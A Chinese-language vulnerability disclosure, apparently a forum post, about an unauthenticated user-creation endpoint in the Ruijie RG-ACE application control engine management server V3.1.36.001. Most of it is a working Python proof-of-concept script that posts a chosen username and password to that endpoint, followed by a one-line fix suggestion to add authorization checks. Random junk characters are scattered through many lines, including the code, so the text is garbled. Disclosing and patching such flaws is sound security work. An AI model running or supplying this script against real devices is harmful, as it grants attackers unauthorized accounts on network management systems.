锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）


' y8 T" @( H8 L+ a( x测试的具体版本是
5 J) C9 Y( a, y5 i产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
/ @1 O  B; ^+ r& k% N编译时间: 201104291730
) f; l/ `( J5 l, b$ g3 ^4 s
# ]+ x0 E  @  o4 k" R& p
漏洞证明：

. x- J8 Z0 {* \3 p
' h( @7 Y9 Y! j" G. h
5 a; V6 v$ f2 ^
/ ?+ y, n/ Y" d- W7 f8 f7 U

执行脚本
#! /usr/bin/env python
+ ~- X& {9 Z4 ^) a: q#coding=gbk
( n8 V8 `, k& {8 D. O% y1 ]5 P; {#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
; i! F5 ^9 t# R! y3 E: Jurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
; ]9 Z9 _% W! {  I& Copener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
8 A, ^' Q- o2 e( m& }2 K; wopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
7 M8 X5 Y8 x, `1 t+ J("useractionname","addButtonValue"),
; Y  {7 o! i( k6 `, h("useropermanager","userManager"),
% U2 r4 \+ K0 M7 ~("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
1 T" O( u. y5 z& d6 Z6 w2 E: A/ p("trueName","ad"),
("email",""),
. O1 z) l! X: e5 Z3 `3 v5 [("mobilePhone",""),
; Z0 D5 n* P& l- r("officePhone",""),
6 l$ g# n9 Z- B& O("addr",""),
("submit","确定"))
$ r+ M5 U7 T' W4 w# ^urllib2.install_opener(opener)
/ G: B! r' b2 \8 a9 j7 rp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"
" W& w. v& _1 `' o2 B. e- C
" F4 V7 e' x, B4 n0 K: G! k登录，连接设备


! k, c5 f5 r+ k; o7 I


默认的管理员admin权限更大点



" B; a1 s7 K' Q  ~
, K1 w3 S: H  {- }
修复方案：
3 @. E: X' ^( j* v, N加强对接口的权限验证
4 ^9 g/ h. m, I0 i
: U  d8 W. }5 r6 O" O